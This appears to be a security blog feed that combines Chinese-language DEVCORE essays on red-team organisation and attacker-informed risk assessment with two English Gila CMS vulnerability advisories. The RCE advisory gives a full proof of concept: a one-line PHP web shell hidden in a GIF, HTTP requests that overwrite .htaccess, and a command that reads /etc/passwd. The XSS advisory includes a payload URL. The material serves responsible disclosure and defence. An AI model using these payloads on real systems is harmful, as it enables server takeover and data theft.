紅隊演練目標通常是一個情境,例如:駭客有沒有辦法取得民眾個資甚至是信用卡卡號?在演練過程中紅隊會無所不用其極的嘗試驗證企業在乎的情境有沒有可能發生。以剛剛的例子來說,我們會想辦法找到一條路徑取得存放這些訊息的資料庫,去驗證有沒有辦法取得個資及卡號。一般來說,卡號部分都會經過加密,因此在拿下資料庫後我們也會嘗試看看有沒有辦法還原這些卡號。有時候除了找到還原的方法,我們甚至會在過程中發現其他路徑可取得卡號,可能是工程師的 debug 資訊會記錄卡號,或是備份檔在 NAS 裡面有完整卡號,這些可能是連資安負責人都不知道的資訊,也是企業評估風險的盲點。

到這邊,紅隊演練的效益就很明顯了,紅隊能協助企業全盤評估潛在的重大風險,不再像過去只是單一面向的測試特定網站。除了找到弱點,紅隊更在乎幫企業驗證入侵的可行性,方便企業評估風險以及擬定防禦策略。最後,紅隊往往也能夠在演練過程當中找出企業風險評估忽略的地方,例如剛剛例子提到的備份 NAS,就可能是沒有列入核心系統但又相當重要的伺服器,這一塊也是 DEVCORE 這幾年來確實幫助到客戶的地方。

DEVCORE 紅隊的編制

基本上,DEVCORE 的紅隊成員都是可以獨當一面的,在執行一般專案時成員間並沒有顯著差異。但在演練範圍比較大的狀況下,就會開始有明顯的分工作業,各組也會專精技能增加團隊效率。目前我們的編制共分為五組:

簡單介紹職責如下:

  • Intelligence (偵查),負責情報偵查,他們會去收集跟目標有關的所有資訊,包括 IP 網段、網站個別使用的技術,甚至是洩漏的帳號密碼。
  • Special Force (特攻),有比較強大的攻擊能力,主要負責打破現況,例如攻下第一個據點、拿下另一個網段、或是主機的提權。
  • Regular Army (常規),負責拿下據點後掃蕩整個戰場,嘗試橫向移動,會盡量多建立幾個據點讓特攻組有更多資源朝任務目標邁進。
  • Support (支援),重要的後勤工作,維持據點的可用性,同時也要觀察記錄整個戰況,最清楚全局戰況。
  • Research (研究),平時研究各種在紅隊中會用到的技術,演練時期碰到具戰略價值的系統,會投入資源開採 0-day。

DEVCORE 紅隊的進化

所謂的進化,就是碰到了問題,想辦法強化並且解決,那我們遇到了哪些問題呢?

如何找到一個突破點?

這是大家最常碰到的問題,萬事起頭難,怎麼樣找到第一個突破點?這個問題在紅隊演練當中難度會更高,因為有規模的企業早已投入資源在資安檢測和防護上,我們要怎麼樣從層層防禦當中找到弱點?要能找到別人找不到的弱點,測試思維和方法一定要跟別人不一樣。於是,我們投入資源在偵查、特攻、研究組:偵查部分研究了不同的偵查方法和來源,並且開發自己的工具讓偵查更有效率;我們的特攻組也不斷強化自己的攻擊能力;最重要的,我們讓研究人員開始針對我們常碰到的目標進行研究,開發紅隊會用到的工具或技巧。

這邊特別想要分享研究組的成果,因為我們會去開採一些基礎設施的 0-day,在負責任的揭露後,會將 1-day 用於演練中,這種模式對國外紅隊來說算是相當少見。為了能幫助到紅隊,研究組平時的研究方向,通常都是找企業外網可以碰到的通用服務,例如郵件伺服器、Jenkins、SSL VPN。我們找的弱點都是以不用認證、可取得伺服器控制權為優先,目前已公開的有:EximJenkinsPalo Alto GlobalProtectFortiGatePulse Secure。這些成果在演練當中都有非常非常高的戰略價值,甚至可以說掌控了這些伺服器幾乎就能間接控制企業的大半。

而這些研究成果,也意外的被國外所注意到:

  • PortSwigger 連續兩年年度十大網站攻擊技術評選冠軍 (2017, 2018)
  • 連續三年 DEFCON & Black Hat USA 發表 (2017, 2018, 2019)
  • 台灣第一個拿到 PWNIE AWARD 獎項:Pwnie for Best Server-Side Bug (年度最佳伺服器漏洞) (2018 入圍, 2019 得獎)

目標上萬台,如何發揮紅「隊」效益?

前面靠了偵查、特攻、研究組的成果取得了進入點。下一個問題,是在我們過去的經驗中,有過多次演練的範圍是上萬台電腦,我們要怎樣做才能發揮團隊作戰的效益呢?會有這個問題是因為數量級,如果範圍只有十個網站很容易找目標,但是當網站變多的時候,就很難標註討論我們要攻擊的目標。或是當大家要同步進度的時候,每個人的進度都很多,很難有個地方分享伺服器資訊,讓其他人能接續任務。

過去我們使用類似 Trello 的系統記錄每台伺服器的狀況,在範圍較小的時候很方便好用,但是當資料量一大就會顯得很難操作。

因此,我們自行開發了系統去解決相關問題。分享一些我們設計系統的必要原則供大家參考:

  • 伺服器列表可標籤、排序、全文搜尋,火力集中的伺服器必須要自動在顯眼處,省去額外搜尋時間。
  • 要可自動建立主機關係圖,方便團隊討論戰況。
  • 儲存結構化資訊而非過去的純字串,例如這台機器開的服務資訊、拿 shell 的方式、已滲透的帳號密碼。方便快速釐清目前進度以及事後分析。
  • 建立 shell 主控台,方便成員一鍵取得 shell 操作。

另外還有一個問題,紅隊成員這麼多,戰場又分散,如果想要把我們做過的測試過程記錄下來,不是會很複雜嗎?所以我們另外寫了 plugin 記錄 web 的攻擊流量、以及記錄我們在 shell 下過的指令和伺服器回傳的結果,這些記錄甚至比客戶的 access_log 和 bash_history 還詳細。此外,針對每個目標伺服器,我們也會特別記錄在上面所做過的重要行為,例如:改了什麼設定,新增或刪除了什麼檔案,方便我們還有客戶追蹤。要做這樣的客製化記錄其實是很繁瑣的,對那些習慣於自動化解決事情的駭客更是,但我們就是堅持做好這樣的紀錄,即使客戶沒有要求,我們還是會詳實記錄每個步驟,以備不時之需。

企業有防禦設備或機制?

解決了突破點和多人合作的問題,接下來我們面臨到第三個問題,企業有防護措施!在研討會中我舉了幾個較客製的真實防禦案例,說明我們除了常見的防禦設備外也擁有很多跟防禦機制交手的經驗。我們會研究每種防禦的特性加以繞過或利用,甚至會寫工具去躲避偵測,最近比較經典的是團隊做了在 Windows 伺服器上的 Web shell,它可以做到 WAF 抓不到,防毒軟體抓不到,也不會有 eventlog 記錄,利用這個工具可以無聲無息收集伺服器上我們需要的資料。當然,我們不是無敵的,一些較底層的偵測機制還是會無法繞過。這邊我直接講我們進化到目前的準則:在面對伺服器防禦機制,我們能隱匿的,一定做到絕對的隱匿,無法躲的,就把流程最佳化,縮短做事情的時間,例如控制在五分鐘內提權拿到關鍵資料,就算被別人抓到也沒關係,因為該拿的資料也拿到了。

紅隊成員應具備的特質

要能夠在紅隊演練中有突出成果,我覺得成員特質是滿關鍵的一個點。以下整理了幾個我從我們紅隊夥伴觀察到的特質跟大家分享,如果將來有打算從事紅隊工作,或是企業已經打算開始成立內部紅隊,這些特質可能可以作為一些參考。

想像力

第一個是想像力,為什麼會提這個特質,因為現在資安意識慢慢強化,要靠一招打天下是不太有機會的,尤其是紅隊演練這麼有變化的工作。要有成果一定要巧妙的組合利用或是繞過才有機會。

直接舉個例子,我們在公布 Pulse Secure VPN 的研究細節後,有人在 twitter 上表示那個關鍵用來 RCE 的 argument injection 點之前他有找到,只是無法利用所以官方也沒有修。確實我們找到的地方相同,不過我們靠想像力找到了一個可利用參數並搭配 Perl 的特性串出了 RCE。 另一個例子是 Jenkins 研究裡面的一環,我們在繞過身分認證之後發現有一個功能是在檢查使用者輸入的程式語法正不正確。伺服器怎樣去判斷語法正不正確?最簡單的方法就是直接去編譯看看,可以編譯成功就代表語法正確。所以我們研究了可以在『編譯階段』命令執行的方法,讓伺服器在嘗試判斷語法是否正確的同時執行我們的指令。這個手法過去沒有人提過,算是運用想像力的一個經典案例。

關於想像力,其實還有一個隱藏的前提:基礎功要夠。我一直認為想像力是知識的排列組合,例如剛剛的兩個例子,如果不知道 Perl 語法特性和 Meta-Programming 的知識,再怎麼天馬行空都是不可能成功 RCE 的。有基礎功再加上勇於聯想和嘗試,絕對是一個紅隊大將的必備特質。至於基礎功需要到什麼程度,對我們來說,講到一個漏洞,心中就會同時跳出一個樹狀圖:出現成因是什麼?相關的案例、漏洞、繞過方式都會啵啵啵跳出來,能做到這樣我想就已經是有所小成了。

追新技術

會追新技術這件事情,似乎是資安圈的標配,我們的世界不只有 OWASP TOP 10。更現實的說法是,如果只靠這麼一點知識,在紅隊演練能發揮的效果其實並不大。分享一下我看到成員們的樣子,對於他們來說,看新技術是每天的習慣,如果有資安研討會投影片釋出,會追。新技術裡有興趣的,會動手玩,甚至寫成工具,我們很多內部工具都是這樣默默補強的。還有一點,看新技術最終目的就是要活用,拿新技術解決舊問題,往往有機會發現一些突破方式。例如我們在今年八月 BlackHat 研討會看到了 HTTP Desync 的攻擊方式,回國之後馬上就把這個知識用在當時的專案上,讓我們多了一些攻擊面向!(這個手法挺有趣的,在我們污染伺服器後,隨機一個人瀏覽客戶網頁就會執行我們的 JavaScript,不需要什麼特殊條件,有興趣可以研究一下:p )

相信…以及堅持

最後一點,我想分享的是:在研究或者測試的過程當中,有時候會花費很多時間卻沒有成果,但是如果你評估是有機會,那就相信自己,花時間做下去吧! 我們有一個花費一個月的例子,是之前破解 IDA Pro 偽隨機數的研究,這個事件意外在 binary 圈很有名,甚至還有人寫成事件懶人包。這個研究是在探討如果我們沒有安裝密碼,有機會安裝 IDA PRO 嗎?結果最後我們想辦法逆推出了 IDA 密碼產生器的算法,知道偽隨機數使用了哪些字元,和它的正確排序。這件事情的難度已經不只在技術上,而在於要猜出偽隨機數使用的字元集順序,還要同時猜出對方使用的演算法(至少有88種)。而且我們每驗證一種排列組合,就會花半天時間和 100GB 的空間,累積成本滿高的。但我們根據經驗相信這是有機會成功的,並且投注資源堅持下去,最後有了很不錯的成果。

這裡不是在鼓勵一意孤行,而是一種心理素質:是在面臨卡關的時候,有足夠的判斷力,方向錯誤能果斷放棄,如果方向正確要有堅持下去的勇氣。

資安防護趨勢與紅隊的下一步

文章的最後一部分要談的是紅隊演練的未來,也是這篇文章的重點,未來,我們希望可以解決什麼問題?

做為紅隊演練的領導廠商,從 2017 年演練到現在我們進入台灣企業內網的成功率是 100%。我們在超過六成的演練案中拿到 AD 管理權限,這還不含那些不是用 AD 來管理的企業。我們發現進入內網後,通常不會有什麼阻礙,就好像變成內部員工,打了聲招呼就可以進機房。想要提醒大家的是:對頂尖攻擊團隊而言,進入企業內網的難度並不高。如果碰上頂尖的駭客,或是一個 0day,企業準備好了嗎?這就是現階段我們所發現的問題!

在說到抵禦攻擊通常會有三個面向,分別是「預防」、「偵測」和「回應」。一般而言企業在「預防」這部份做的比較完善,對於已知的弱點都有比較高的掌握度。今天普遍的問題在「偵測」和「回應」上,企業能不能發現有人在對你進行攻擊?或是知道被攻擊後有沒有能力即時回應並且根絕源頭?這兩件事情做得相對不好的原因並不是企業沒有投入資源在上面,而是對於企業來說太難驗證,很難有個標準去確定目前的機制有沒有效或是買了設備有沒有作用,就算有藍隊通常也沒有建立完善的應對 SOP,畢竟駭客入侵不會是天天發生的事情。

所以,我們希望企業能從紅隊演練中,訓練對攻擊事件的偵測和反應能力。或是說,紅隊演練的本質就是在真實的演練,透過攻防幫助企業了解自己的弱項。過去台灣的紅隊服務都會強調在找出整個企業的弱點,找出漏洞固然重要,但碰到像我們一樣很常找到 0-day 的組織,有偵測和回應能力才是最後能救你一命的硬技能。換個角度來看,目前世界上最完整的攻擊戰略和技術手法列表是 MITRE ATT&CK Framework,一個對企業有傷害的攻擊行動通常會是很多個攻擊手法所組成的攻擊鏈,而在這個 Framework 中,找到起始弱點這件事情僅佔了整個攻擊鏈不到一成,企業如果能夠投注在其他九成手法的偵測能力上並阻斷其中任一環節,就有機會讓整個攻擊行動失敗而保護到資產。

要說的是,我們紅隊演練除了找出企業漏洞能力頂尖之外,也累積了很豐富的內網滲透經驗及技巧,我們很樂意透過演練協助企業加強真實的偵測和回應能力。漸漸的,未來紅隊會慢慢著重在和藍隊的攻防演練。會強調擬定戰略,讓企業了解自己對哪些攻擊的防禦能力比較弱,進而去改善。未來的紅隊也更需要強調與防禦機制交手的經驗,了解防禦的極限,才有辦法找到設備設定不全或是涵蓋率不足的盲點。

最後我們也有些規劃建議給對資安防禦比較成熟的企業如下,逐步落實可以將資安體質提昇一個層次。(至少從我們的經驗來看,有這些概念的企業都是特別難攻擊達成目標的)

  • 如果外網安全已投資多年,開始思考「如果駭客已經在內網」的防禦策略
  • 盤點出最不可以被洩漏的重要資料,從這些地方開始奉行 Zero Trust 概念
  • 企業內部需要有專職資安人員編制(藍隊)
  • 透過與有經驗的紅隊合作,全盤檢視防禦盲點

後記

研討會內容到這邊就結束了。寫在最後的最後,是充滿著感謝。其實無論滲透測試還是紅隊演練,在一開始都不是人人可以接受的,而測試的價值也不是我們說了算。一路走來,漸漸漸漸感受到開始有人相信我們,從早期比較多測試時與工程師和網管人員的對立,到近期越來越多 open mind、就是想找出問題的客戶,是滿大的對比。非常感謝他們的信任,也因為這樣的互信,我們得以節省時間完成更棒的產出。滿樂見台灣資訊產業是這樣正向面對問題,漏洞存在就是存在,不會因為視而不見而真的不見,意識到有問題解決了就好。所以我在演講最後留下這樣一句:『紅隊演練的精髓不是在告訴你有多脆弱,在於真正壞人闖入時你可以獨當一面擋下』,希望越來越多人能正面對待問題,同時也傳遞我們想要做到的價值。

2019 DEVCORE CONF,謝謝過去合作的朋友們參與讓 DEVCORE 紅隊得以進化,希望下一步也能有你,我們明年見 :)

Gila CMS Upload Filter Bypass and RCE

13 October 2019 at 00:00

Versions prior to and including 1.11.4 of Gila CMS are vulnerable to remote code execution by users that are permitted to upload media files. It is possible to bypass the media asset upload restrictions that are in place to prevent arbitrary PHP being executed on the server by abusing a combination of two issues.

The first is the support for uploading animated GIFs. By submitting a GIF that contains the following content we can place a GIF file that contains [currently unexecutable] PHP code in a GIF file on the server (in this case test.gif):

GIF89a; <?=`$_GET[1]`?>

After uploading this, the file can now be clicked and the move function can be used to move this into another directory within the application directory with a PHP extension (in this case, it is moved to tmp/media_thumb/shell.php):

As can be seen in the below screenshot, this is now stored on the server with a valid extension:

At this point, the PHP file cannot be executed as the htaccess file found in tmp/.htaccess contains the following configuration:

<Files *.php>
deny from all
</Files>

This prevents any PHP files under tmp/ being accessed. However, the same upload vulnerability can be abused to overwrite the htaccess file. To do this, one uploads a GIF file again but with the content:

# GIF89a;

This creates a GIF file on the server, that starts with a valid comment character, which prevents the server running into an error when parsing it during subsequent requests. The same rename bug can then be used to move this file to tmp/.htaccess:

After doing this, the PHP file can be accessed from the web browser, and remote code execution is gained as can be seen in the below screenshot in which cat /etc/passwd is executed:

Versions Affected

<= 1.11.4

Solution

Update to a version later than 1.11.4 or apply the patch found at https://github.com/GilaCMS/gila/pull/49

CVSS v3 Vector

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L/E:P/RL:T/RC:R

Disclosure Timeline

  • 2019-10-12: Vulnerability found
  • 2019-10-13: Patch created and pull request sent to project
  • 2019-10-13: CVE requested
  • 2019-10-13: CVE-2019-17536 assigned

Proof of Concept

Step 1: Store blank htaccess stager

POST /gila/admin/media_upload HTTP/1.1
Host: 192.168.194.146
Content-Length: 510
Origin: http://192.168.194.146
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOYDZotidj55MOMPD
Accept: */*
Referer: http://192.168.194.146/gila/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z
Connection: close

------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="uploadfiles"; filename="test.gif"
Content-Type: image/gif

# GIF89a;

------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="formToken"

1=^4podpw4k&8%i
------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="path"

assets
------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="g_response"

content
------WebKitFormBoundaryOYDZotidj55MOMPD--

Step 2: Overwrite tmp/.htaccess

POST /gila/fm/move HTTP/1.1
Host: 192.168.194.146
Content-Length: 80
Accept: */*
Origin: http://192.168.194.146
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.194.146/gila/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z
Connection: close

newpath=tmp%2F.htaccess&path=assets%2Ftest.gif&formToken=1%3D%5E4podpw4k%268%25i

Step 3: Upload PHP shell stager

POST /gila/admin/media_upload HTTP/1.1
Host: 192.168.194.146
Content-Length: 524
Origin: http://192.168.194.146
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOYDZotidj55MOMPD
Accept: */*
Referer: http://192.168.194.146/gila/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z
Connection: close

------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="uploadfiles"; filename="test.gif"
Content-Type: image/gif

GIF89a; <?=`$_GET[1]`?>

------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="formToken"

1=^4podpw4k&8%i
------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="path"

assets
------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="g_response"

content
------WebKitFormBoundaryOYDZotidj55MOMPD--

Step 4: Move PHP shell into tmp/media_thumb/shell.php

POST /gila/fm/move HTTP/1.1
Host: 192.168.194.146
Content-Length: 94
Accept: */*
Origin: http://192.168.194.146
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.194.146/gila/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z
Connection: close

newpath=tmp%2Fmedia_thumb%2Fshell.php&path=assets%2Ftest.gif&formToken=1%3D%5E4podpw4k%268%25i

Step 5: Execute shell command on remote host

GET /gila/tmp/media_thumb/shell.php?1=cat%20/etc/passwd HTTP/1.1
Host: 192.168.194.146
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z
Connection: close

Gila CMS Reflected XSS

12 October 2019 at 00:00

Versions prior to and including 1.11.4 of Gila CMS are vulnerable to reflected cross-site scripting. On line 29 and 30 of the blog-list.php view found in both the gila-blog and gila-mag themes, the value of the user provided search criteria is printed back to the response without any sanitisation. This can result in cross-site scripting as can be seen in the below screenshot:

Additionally, as HTTP only cookies are not in use, this can lead to a compromise of an admin session and lead to a takeover of the CMS.

Proof of Concept

http://gila.host/?search=xss%22+onfocus%3D%22console.log%28document.domain%29%22+autofocus%3D%22true

Versions Affected

<= 1.11.4

Solution

Update to a version later than 1.11.4 or apply the patch found at https://github.com/GilaCMS/gila/pull/48

CVSS v3 Vector

AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N/E:F/RL:T/RC:R

Disclosure Timeline

  • 2019-10-12: Vulnerability found, pull request opened with fix
  • 2019-10-12: CVE requested
  • 2019-10-13: CVE-2019-17535 assigned

以攻擊者的角度制定防禦策略

8 October 2019 at 16:00

前言

這篇文章源自於公司今年第一次試辦的研討會 DEVCORE CONFERENCE 2019,我們決定另外寫成 blog 分享出來,讓無法參加的朋友也可以從不同角度重新思考防禦策略。

會想在純技術導向的研討會中加入策略面的議題,其實跟今年研討會的主軸「從策略擬定控制,從控制反映意識」有關。如果企業缺乏長遠正確的資安策略,除了投入的資源無法達到企業預期的效益、一線資安人員疲於奔命外,管理階層在資訊不對稱的情況下認為投入的資源已經足夠安全,最終形成惡性循環,只能在每次資安事故後跟著時下流行選擇最夯資安的產品。

理想中的防禦策略

而最廣為人知的防禦策略可能是縱深防禦,以不同類型的控制措施 (設備、制度、服務) 減少敵人入侵的可能性、儘量減少單一控制措施失效造成的風險。然而,這個概念有幾個需要思考的重點

  • 防護邊界遠大於企業的想像:導致無法掌握企業可能的入侵點。
  • 對資安設備認知錯誤:這讓敵人可以繞過資安設備,或是設備沒有發揮企業預期的效用。
  • 管理程序不夠落實:導致控制措施產生新的漏洞,譬如預設密碼沒有更改,導致 VPN 或網路設備可以直接被存取。
  • 忽視重要資產相關性:只將防禦資源投注在重要資產本身,而輕忽與其相連的資產。

這一連串的疏忽,可能成為攻擊者入侵的路徑,就是所謂的瑞士起司模型 (Swiss Cheese Model),因此企業期望透過風險評鑑 (Risk Assessment) 來盤點出可能的疏失,並且在權衡資源下,確保將重心放在高風險需要優先處理的項目。

但我們想聊聊這個工具在實務上有它難以完善之處,以及從攻擊者的角度是怎樣看待這個擬訂防禦策略核心工具,我們會針對一下議題依序說明

  • 真實風險其實複雜的難以評估
  • 現行風險評鑑方式可能的偏差
  • 從攻擊者的角度改善風險評鑑
  • 挑選適合的方法改善風險評鑑

真實的風險其實複雜的難以評鑑

在這裡我們引述 ITGovernance 對於風險評鑑的定義:

Risk Assessment – the process of identifying, analyzing and evaluating risk – is the only way to ensure that the cyber security controls you choose are appropriate to the risks your organization faces.

風險評鑑的精髓在於後半段的確保所選擇的控制措施是否適切於企業真正面臨的風險,但多數的企業只完成前半段識別、分析及評估風險,導致風險評鑑的成效無法完全發揮;而要達到風險評鑑的精髓,得先了解真實的風險的組成的要素

真實風險 = { 威脅來源、意圖、威脅、弱點、機率、相依性、資產價值、控制措施 }
  • 威脅來源(Threat Agent):造成威脅或使用弱點的來源個體,例如:組織型犯罪、駭客組織、國家資助犯罪、競爭對手、駭客、內部員工或天災等。
  • 意圖(Intent):威脅來源的想達到的目的,例如:取得個人資料、盜取商業機密、破壞企業/個人形象、造成財物損失等。
  • 威脅(Threat):達成意圖的方式,例如:惡意程式、社交工程、DDoS、利用系統漏洞等。
  • 弱點(Vulnerability):指資產能被威脅利用的弱點,例如:漏洞未更新、人員疏忽、組態設定不當、網路區隔配置錯誤等。
  • 機率(Probability):指弱點的易用度或可能發生的機率,例如:CVSS 3.0分數、過去對於某個弱點發生頻率的統計等。
  • 相依性(Correlation):資產彼此間的關聯,例如:網路拓樸、虛擬化的關係、集中派版系統、防毒中控主機等。
  • 資產價值(Value):企業認定該資產在 C、I、A 及法律衝擊下,所具有的價值,例如:核心系統及資料、一般操作資料、實體設備等。
  • 控制措施(Countermeasure):用來降低企業面臨風險的措施,例如:資安設備、管理制度、教育訓練等。

然而,多數企業在評估企業風險時,為求方便,會將風險評鑑的參數簡化成 {弱點、機率、資產價值},忽略了與敵人相關的參數 {威脅來源、意圖、威脅、戰略價值};接下來的兩個例子將說明忽略後造成風險評鑑的偏差,包含了資產價值的輕忽輕忽漏洞利用的可能性

現實風險評鑑可能的偏差

敵人在意的是戰略價值而不僅是資產價值

透過風險評鑑可以識別出資產可能面臨的風險,並且作為預算或資源投入優先順序的參考,一般可以分為 3 個優先等級:

  1. 優先處理「高衝擊、高機率」 (項次 1、項次 2) 的風險:通常是超出企業可接受風險的威脅,藉由控制措施將風險下降到可接受的程度,這部分通常是企業資源優先或持續投入的重點。
  2. 次之是「高衝擊、低機率 」(項次 3、項次 4)的風險:此等級是屬於需要持續關注避免升高的風險,如果企業預算仍有餘裕,應該投入的第二個等級。
  3. 最後是「低衝擊、低機率 」(項次 5、項次 6)的風險:看起來對企業不會有立即危害,一般不需特別關注或投入資源。
項次 資產名稱 價值 威脅 弱點 衝擊 機率 風險
1 交易資料 3 蓄意破壞 建築物管制不足 3 3 27
2 用戶個資 3 勒贖軟體加密 無法上 patch 3 3 27
3 轉帳系統 3 軟體失效 遭到 DDoS 攻擊 3 2 18
4 核心系統 3 軟體失效 維護服務時間過長 3 1 9
5 版本更新系統 3 未經授權存取 橫向移動 2 1 6
6 內部差勤系統 1 系統入侵 無法上 patch 1 2 2

然而,對敵人而言,選擇欲攻下的灘頭堡時,看重的是資產的戰略價值,而與資產本身的價值沒有必然的關係,如上表項次 6 的內部差勤系統如果是能串接到敵人主要的標的,對他來說就是一個必定會設法取得控制權的資產,而這時可以發現經由簡化版的風險評鑑並不容易呈現這個資產所面臨的風險。

低估弱點可利用機率

防守方在使用分險評鑑時,另一個問題是無法準確的估計弱點的可利用機率,雖然市面上已經有許多弱點管理軟體可以協助,但面對真實攻擊時,敵人不會只利用已知的漏洞或是 OWASP TOP10,甚至自行研發 0-day。因此,當企業已經進行一定程度的防護措施後,如果不曾經歷資安事故或缺乏正確的認知,往往認為應該不會有這麼厲害的駭客可以突破既有的防護措施,但從歷來的資安事故及我們服務的經驗告訴我們,其實電影裡面演的都是真的!!

從攻擊者的角度改善風險評鑑

很多人以為攻擊者的角度指的是漏洞挖掘,其實並不全然。攻擊者對於想竊取的資產,也是經過縝密的規劃及反~覆~觀~察~,他們一樣有策略、技法跟工具。而 MITRE ATT&CK 就是一個對於已知攻擊策略及技巧具備完整定義及收集的框架,它可以用來協助建立威脅情資 (Threat Intelligence)、改善防守方的偵測及分析、強化模擬敵人及紅隊演練等,相關的使用方式都在其官網上可以找到,細節我們不在這邊介紹。

我們可以將已經發生的資安事故 (Incident) 或紅隊演練對應到 ATT&CK Enterprise Framework 中,並且評估目前所建置的控制措施是否可以減緩、阻擋或偵測這些技巧。以下圖為例,淺綠色方塊是紅隊演練所採用的技巧、紅色方塊則是資安事故使用的技巧,企業可以同時比對多個資安事故或是紅隊演練的結果,找出交集的淺黃色區塊,即是企業可以優先強化的控制措施或是預算應該投入之處。

這邊有個需要特別注意的地方,ATT&CK Enterprise Framework 作為一個驗證防守方控制措施的有效性是一個非常好的框架,然而不建議利用這個框架的特定技巧作為限制紅隊演練的情境,要記得「當使用 ATT&CK 時要注意有其偏差,這可能會將已知的攻擊行為優先於未知的攻擊行為」,正如同紅隊演練的精神,是透過無所不用其極的方式找到可以成功的入侵方式,因此我們會建議給予紅隊演練團隊最自由的發揮空間,才能真正找出企業可能的盲點。

Remember any ATT&CK-mapped data has biases:You’re prioritizing known adversary behavior over the unknown. - Katie Nickels, Threat Intelligence Lead @ The MITRE Corporation

挑選適合的方法改善防禦策略

那麼在我們了解敵人會使用的策略、技巧之後,企業要如何挑選改善防禦策略的方法?理想上,我們建議如果預算許可,這類型的企業至少應該執行一次高強度的紅隊演練,來全面性的盤點企業面臨的威脅,但現實上並非每個企業都有足夠的預算。因此,在不同的條件下,可以使用不同的方法來改善防禦策略,我們建議可以從以下幾個因素進行評估:

  • 時間:執行這個方法所需要的時間。
  • 成本:利用這個方法需要付出的成本 (包含金錢、名聲)。
  • 真實性:所採用的方法是否能真實反映現實的威脅。
  • 範圍:所採用的方法能涵蓋範圍是否足以代表企業整體狀況。

這邊我們以風險評鑑、弱點掃描、滲透測試、模擬攻擊、紅隊演練及資安事件作為改善防禦策略的方法,而分別就上述六個項目給予相對的分數,並且依照真實性、範圍、成本及時間作為排序的優先序(順序依企業的狀況有所不同)。而我們會這樣排序的原因是:一個好的方法應該要與真實世界的攻擊相仿而且在整個過程上足以發現企業整體資安的狀況,最後才是考慮所花費的成本及時間。

方法 真實性 範圍 成本 時間
資安事件 5 4 5 5
紅隊演練 5 4 4 5
模擬攻擊 3 5 2 3
滲透測試 3 3 3 3
弱點掃描 2 5 1 2
風險評鑑 1 4 1 1

到這裡,除了資安事件外,大致可以決定要用來協助評估防禦策略所應該選擇的方法。更重要的是在使用這些方法後,要將結果反饋回風險評鑑中,因為相較於其他方法風險評鑑是一個最簡單且廣泛的方法,這有助於企業持續將資源投注在重大的風險上。

案例

最後,我們以一個紅隊演練案例中所發現控制措施的疏漏,來改善企業的風險評鑑方式。同時,我們將入侵的成果對應至 ISO27001:2013 的本文要求及控制項目,這些項目可以視為以攻擊者的角度稽核企業的管理制度,更能反映制度的落實情形。

項目 發現 本文/附錄
1 核心系統盤點未完整 本文 4.3 決定 ISMS 範圍
2 監控範圍不足 本文 4.2 關注方之需要與期望
3 不同系統使用相同帳號密碼 附錄 A.9.4.3 通行碼管理系統
4 管理帳號存在密碼規則 附錄 A.9.4.3 通行碼管理系統
5 AD 重大漏洞未修補 附錄 A.12.6.1 技術脆弱性管理
6 未限制來源 IP 附錄 A.9.4.1 系統存取限制
7 次要網站防護不足 附錄 A.14.1.1 資訊安全要求事項分析及規格
8 VPN 網段存取內部系統 附錄 A.13.1.3 網路區隔

